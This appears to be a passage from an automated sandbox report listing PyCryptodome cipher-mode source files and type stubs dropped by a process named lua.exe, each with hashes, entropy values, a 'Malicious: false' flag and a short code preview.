SHA-256:	46DBFCF49183DF0205351205BBCE291123560489858B1705269E7D13352CFE76
SHA-512:	968DD9A63F117391CC69FCCDFCB7F6369C8C384FCA547CE553843B2C9C71EAD3B3841F0D8FFFDB3A7CA9B8CB67C550E4CD640A5C93772CD090D5D737A238BC05
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/mode_cfb.py : CFB mode..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_cfb.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.690976940000698
Encrypted:	false
SSDEEP:	12:1REYBw1+sJal9lvIY3FDDHo2YRyU1AOlsQRZFq6R5pFq6jI33ynFq6R5xnFq6jIF:1REP+LjT3lGNAYsEHnRNne3yFnR3Fne1
MD5:	652CF8ED15152064BFF8807277058B5A
SHA1:	D868B6EBCDF4B5AE76DD495FBD506879BCE96B88
SHA-256:	FA48D3431DA67394394BCFC79AFA506311A5579E9234299215B06514EC72EDEA
SHA-512:	2354A738EBA79324311746672CFB436ECB558212FCFC044030A1C932F0E6EC74E539A38994A1BB7F69D5B84EB2C2F49EDAE11243A8D4B11B6B304425FBE8334F
Malicious:	false
Preview:	from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['CfbMode']......class CfbMode(object):.. block_size: int.. iv: Buffer.. IV: Buffer.. .. def __init__(self,.. block_cipher: SmartPointer,.. iv: Buffer,.. segment_size: int) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ctr.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	16223
Entropy (8bit):	4.422387643250791
Encrypted:	false
SSDEEP:	192:d5QHvltxqH2LakMiITNEriO+uU44o2U4GzC1ShJnwBil3iYPlIidiSSZD:DeLF7AmT4o2TGzWShkaSCl6
MD5:	8C612FFA2067AA1C00936B97A8E3FE78
SHA1:	EE0D87DB76AB0924E98D1774DEA5FB30393613CB
SHA-256:	BFE65690717405B741A3E2CEDA97E7C9559BDD3798457FF9FB8982A7FEA56DB7
SHA-512:	8515496FB613E8A94C1C071D16E3904154C528FD7A0142AE29578F549C9856AE8ADBB3926E27160ACBFA933A88D51201AE49C8391ECD000BCBF2EC98CA7304BA
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/mode_ctr.py : CTR mode..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ctr.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	827
Entropy (8bit):	4.593860739765962
Encrypted:	false
SSDEEP:	24:1REP+LjT3Q6fUAY4AVjjnRNne3yFnR3Fne38:Y+rLcZVjTvesLeM
MD5:	8A35D43812049862067E29C878476C74
SHA1:	A12D8A91A7657976F857C769188B625FA27F0697
SHA-256:	D5EAD8152A6D1DA357A8B3B4D79E468B3A1201CB4406E83951F7B32F48A2FD1D
SHA-512:	18F5C59C21EFB6867FE1B837E0ECC55524B2382F0C95A493CEE012DB691C1B0D6D3BED81D46CDBEE48A9D4C11CE47726F38A98E398557141E90B794B61D25017
Malicious:	false
Preview:	from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['CtrMode']....class CtrMode(object):.. block_size: int.. nonce: bytes.... def __init__(self,.. block_cipher: SmartPointer,.. initial_counter_block: Buffer,.. prefix_len: int,.. counter_len: int,.. little_endian: bool) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_eax.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14919
Entropy (8bit):	4.674620924403366
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IqCwPVpCaMYO4aU4GU4DdzRWPvguXnYPR:0rskrs9Vq6wS4aTGTDd1WHgi6
MD5:	43D0A8B5CC8E01A8560C9873321DB64D
SHA1:	234EA9C9E2E9AC5F7A827D20587A49A08E45AFBE
SHA-256:	00B3880FF362FD3F25961BAF401505C3D25F7AEB712D750C5B5B9244C7C39306
SHA-512:	4409A5374C31BA1B61CF9883B39DD97C4D3BCF7762A20C1125E5A36AA09FD2DC45179F5E12342E9F350598835FA70FC05078FD37268803F8207A38E14368D13A
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_eax.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1590
Entropy (8bit):	4.436811038410909
Encrypted:	false
SSDEEP:	24:1RM7C/DsT3VEA9UbnRNne3yFnR3Fne3UPtWLn8no0E+XW3oIQ:c+AGXrvesLeJLn8nlEF49
MD5:	B414CB43B46387AD1B1B2AD15F66314E
SHA1:	DE8BFF4EE379D1F4A7DF3EC4051A3CB1D3DCB09E
SHA-256:	C5246506D2FF0E2B13BAE3A5D47467C47994932C24499FEFCF32126C39BF9611
SHA-512:	0788A2CF03A23CD2788A592E5C201F2632CABEF44B9094158A7B5A02B0AB97202C05562FD78F585554E7A4FEA2C862B885F3E5074792080285787F112CCB5F22
Malicious:	false
Preview:	from types import ModuleType..from typing import Any, Union, Tuple, Dict, overload, Optional....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['EaxMode']....class EaxMode(object):.. block_size: int.. nonce: bytes.. .. def __init__(self,.. factory: ModuleType,.. key: Buffer,.. nonce: Buffer,.. mac_len: int,.. cipher_params: Dict) -> None: ..... .. def update(self, assoc_data: Buffer) -> EaxMode: ....... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> No

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ecb.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	4.499365740356179
Encrypted:	false
SSDEEP:	96:dBFQHvoWieqW8XSXMxJYuwG2m0/EfQb7nk+qIbpktAV7+qWKWIRI:dfQHvPz8XjJYuwVkZi7Z1WIRI
MD5:	BA708C28472BF8A266985DCA4CCD93B1
SHA1:	C4E6D55A46EDEB5FDDF8A8BF15A1BA198C94815B
SHA-256:	BEB1D881C681295AE01316E857A5AB8D289A4A1B30DCF97ED405FEA5C694892A
SHA-512:	D0543D25A7AA3787CF681EBEEDEE2D9229DCB03B8D53125F7AFB40B48040E4B3F4CC912A02C86EEE1E4E2ECAD24669B89174FECC4C199BB94733B159650570A6
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/mode_ecb.py : ECB mode..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ecb.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	611
Entropy (8bit):	4.857553785112337
Encrypted:	false
SSDEEP:	12:1REYBw1+sJal9lvIY3FDlD1AZlUFq6R5pFq6jI33ynFq6R5xnFq6jI338:1REP+LjT3PJAbCnRNne3yFnR3Fne38
MD5:	12949DC06561F6F7C431BFB79A4F5D05
SHA1:	68C7903BA776DC6B8C9B2F3EDA82A9033C001FCC
SHA-256:	652C427E0BBCA4838334715C3BF18979F96EB0B3FCFBA8D67992A9D8F7A3CA4D
SHA-512:	5B2F563099AFD298366B739064E648ADFA3B42C0A9906A95D48F6AE8B48EBD0EBA01FB864FFB2F5F0BE81493DBE0DBD4DB0EECB6300B35C53FBEBBA92B27E2A5
Malicious:	false
Preview:	from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = [ 'EcbMode' ]....class EcbMode(object):.. def __init__(self, block_cipher: SmartPointer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_gcm.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	21978
Entropy (8bit):	4.71964240397714
Encrypted:	false
SSDEEP:	384:0rskrs9Vqjd6xv931Dir4QTdT9pXWMXDR/:0r6q0j3Er7WI/
MD5:	6CA0DA94D82749B7B83998823CC0C5C9
SHA1:	BECDE8AD6D0DDFE5DC013F52EB346C3CB24EA094
SHA-256:	BA09EA491FD7D3E10781433641C7D87BF5AAB884527E010888A8F4BBF4473F4C
SHA-512:	FB16B246EBD55E98794A95EF06DA8290F69005337832FC4123D92C2282C6AF26726C57EB3BECF39ACA080C8719A99A418C9B96CB7A2DF2353BBC0DCB82FA8BEC
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_gcm.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	4.431900531457141
Encrypted:	false
SSDEEP:	24:1RM7ClDOT3zRA9UCLnRNne3yFnR3Fne3UPtWLn8no0E+XW3oIQ:cSuVXQvesLeJLn8nlEF49
MD5:	7D3D576FC1628D95451DC9436EC64091
SHA1:	742B2C357FF613BC5D5285211D3D52AA4BD6F445
SHA-256:	49B6A847D2C71DA556387D1987946EDD0C259CCF3952C63C9D1061CB4EB731FE
SHA-512:	8781937E2570F5FE246F0349A41CC3406E40156F9FDEC08701983DB091DA06637B6CD428D109A57F40B61F3D72DA825F69ABA1BC0F1DFA3D9660A21E88DFFA74
Malicious:	false
Preview:	from types import ModuleType..from typing import Union, Tuple, Dict, overload, Optional....__all__ = ['GcmMode']....Buffer = Union[bytes, bytearray, memoryview]....class GcmMode(object):.. block_size: int.. nonce: Buffer.. .. def __init__(self,.. factory: ModuleType,.. key: Buffer,.. nonce: Buffer,.. mac_len: int,.. cipher_params: Dict) -> None: ..... .. def update(self, assoc_data: Buffer) -> GcmMode: ....... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> None:

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ocb.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20319
Entropy (8bit):	4.487468407062865
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IRqz86W9yyJuCtXhf5dOvbY4yS/SHfp+afbRewJWe9q/rqOP1VbC:0rskrs9VqQqINhhd6Y40Le8WeyJP1hD2
MD5:	7BD1AB33BDFFCBBA02E767CB6627016E
SHA1:	02F7BF05128FD194380C2D6227451E3B84E21F80
SHA-256:	DE27C5B2733E2E729DDC46BBE53F5B208CBAFD900EA475B1C05F7C04FE02DD5E
SHA-512:	307F5143054B2AAC1FAA232C3FE2FF49C1553BF5A7B168EEFC9050D466771191A983229689F294D3FED358EDC3A52E5FB1B71FA439FBCB6EBEF4B4E220695FAD
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ocb.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	4.510576229003074
Encrypted:	false
SSDEEP:	24:1RM7CRDQlT30xA949nRNne3yFnR3Fne3UPtWYn90E+5Q:ccQlARNvesLeJYnaEv
MD5:	76916331AA1417BD4EADDD10948D8D26
SHA1:	1223CEC2D805BE11A585A842EDA6B0214F1AB3E3
SHA-256:	E0C136E3762DD93C24793DAF989D94061AF30A300D7308BC8AD2EF69E73A92E5
SHA-512:	BABD83C1F0D4399B0B2FB099B8303303694763104B75C56C64CAD8C0A722B7F3FEE5FA0EA11026857E5822853D73905B45AA83EF4DAC23D8DD56A6EF41C73621
Malicious:	false
Preview:	from types import ModuleType..from typing import Union, Any, Optional, Tuple, Dict, overload....Buffer = Union[bytes, bytearray, memoryview]....class OcbMode(object):.. block_size: int.. nonce: Buffer.... def __init__(self,.. factory: ModuleType,.. nonce: Buffer,.. mac_len: int,.. cipher_params: Dict) -> None: ..... .. def update(self, assoc_data: Buffer) -> OcbMode: ....... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None:

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ofb.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10563
Entropy (8bit):	4.474542621411218
Encrypted:	false
SSDEEP:	96:dLFQHvoPoxH4dILt52ALFxKiDqwG4rW9stU4p2EVQd77BqotU4SpqtAVsqW1mYhH:d5QHv/pwADKKqO6wU4SQ2U483amgQO
MD5:	286BE06F9BFA638EEE655F9A20B98291
SHA1:	0D737B43BE66A24369B00224652F5A471B283CFD
SHA-256:	1F0BBD609577A1A79DED33C20ADEFA7A3C505C1FA46E898511E02C7ACC3378BE
SHA-512:	71C082D666E9A0C27DD0EB8483B951CA91F07FF0DD3FB6378169C8BFBB50ED89B7343ACE58E7C928B2AB4A62A7D32BF5403F0652151ADF893FF06D5F8BB1EC75
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/mode_ofb.py : OFB mode..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ofb.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	716
Entropy (8bit):	4.736539689518066
Encrypted:	false
SSDEEP:	12:1REYBw1+sJal9lvIY3FDXHo2JRyU1AOlSFq6R5pFq6jI33ynFq6R5xnFq6jI338:1REP+LjT3pHo2NAY4nRNne3yFnR3FneM
MD5:	AFB364F0C9ADDDBA29076577257DFC52
SHA1:	208940A0B5304122118AD8E33CB8B8AF35228146
SHA-256:	C3F9CFE344BE5B88677256A584AC428D271A23B45E856A77165844787980B63F
SHA-512:	00A6D68651C4AE8D159E15F6617421322764CBE06307D9E454A96FBEE925F37BB567A2365416B9C2F4A1FE3AD03185750AB65B8B6BD08878446C8368508D45F8
Malicious:	false
Preview:	from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['OfbMode']....class OfbMode(object):.. block_size: int.. iv: Buffer.. IV: Buffer.. .. def __init__(self,.. block_cipher: SmartPointer,.. iv: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_openpgp.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7259
Entropy (8bit):	4.832276328481339
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/Itv4RK0tUU4cp/6U41k2T:0rskrs9Vq0J0tUTccT7
MD5:	A64ED188605DD3505B7F51513EC9397D
SHA1:	38198DDFB53F1C410999AC0622F27328F7EB3D85
SHA-256:	3F71E4528BD24F3CC96BDEA89BC1CAC2FE69FC198C4DB07BFD0A1C997827FAE4
SHA-512:	0559C532F2D2B5DF2994AA16C0204C2AC27283B5540530BD1F069BC46A4C1F6A5E8142976DF29AC112B7F24E49200EA2DCF7C0C3BB1E537B559E2D616D148732
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_openpgp.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	576
Entropy (8bit):	4.621504702467695
Encrypted:	false
SSDEEP:	12:1Ro8s7REYB6IvIY3FDUCpu8RypqIY3fmIY3fm1Ap/ILFq6R5wnFq6R5j:1RM7C8T3SCpTB3632A9KnReFnRN
MD5:	C1EADE4DE0796F8C003DBB655E410274
SHA1:	283080AEFA8D7F00772CE108277688D55519EF46
SHA-256:	5E1521B1EA98D146374597A94FF5DF82FBE49F7C3DC06F6DB03379E1EA79D7E5
SHA-512:	3D2601FFBB3EC84FDEF28FBF4F409CBBF60D220B394D256FD13728EF5F0CC587FC2EDB00C868C10EEF7E0303508949D79DC23F3998E5CE2D4942A2A625BFC676
Malicious:	false
Preview:	from types import ModuleType..from typing import Union, Dict....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['OpenPgpMode']....class OpenPgpMode(object):.. block_size: int.. iv: Union[bytes, bytearray, memoryview].. IV: Union[bytes, bytearray, memoryview].. .. def __init__(self,.. factory: ModuleType,.. key: Buffer,.. iv: Buffer,.. cipher_params: Dict) -> None: ..... def encrypt(self, plaintext: Buffer) -> bytes: ..... def decrypt(self, plaintext: Buffer) -> bytes: .......

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_siv.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14454
Entropy (8bit):	4.78198429721235
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IK31IzSsGJ+KLk3eNVkr0PHA5sLzL64iYVRWeOL4ooPjTo0Bk+Y:0rskrs9Vqp1pXNVkr0PHyMXYYXWQtHUX
MD5:	C170693E41AF2DC3BFC81B24CBC64A06
SHA1:	9DAAC5769AD88A3CC6F2E91C09B90720FC86FB0D
SHA-256:	311746A6AC2CDBE6F823745EAF4A7108B5014542C7CF1B07FC28000A00DED7EA
SHA-512:	196169CE4543E4645AA23AE4C244612C91A99D752032C6546BEA2074A2F46B297818BE613B880E7DE8E5003B0A962CCFA40B145070478B2B7AE0CAB5811430F4
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_siv.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1299
Entropy (8bit):	4.379657025743841
Encrypted:	false
SSDEEP:	24:1RM7ClDTglT3RzEA9unReFnR7PtWLn8no0E+XW3oIQ:cSklORuWLn8nlEF49
MD5:	FB584A8E53BC1B138B3932BDF16901D5
SHA1:	CF4F2426C15F17BD613A304B3E7F19A181E2035E
SHA-256:	80DAE2A187B04F2E3729BCDF78DE0DB31E22CA0922AD420F65077C448F1538E5
SHA-512:	05D214D0B39CA5566EA833772207D823AF350AEDDAF4A76C9569024D2A374D48FC48A0729B226A1A934E7CA179A5130ABB4232D3412BA27C9DA3DB214A9358BA
Malicious:	false
Preview:	from types import ModuleType..from typing import Union, Tuple, Dict, Optional, overload....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['SivMode']....class SivMode(object):.. block_size: int.. nonce: bytes.. .. def __init__(self,.. factory: ModuleType,.. key: Buffer,.. nonce: Buffer,.. kwargs: Dict) -> None: ..... .. def update(self, component: Buffer) -> SivMode: ....... def encrypt(self, plaintext: Buffer) -> bytes: ..... def decrypt(self, plaintext: Buffer) -> bytes: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: ....... @overload.. def encrypt_and_digest(self,.. plaintext: Buffer) -> Tuple[bytes, bytes]: ..... @overload.. def encrypt_and_digest(self,.. plaintext: Buffer,..

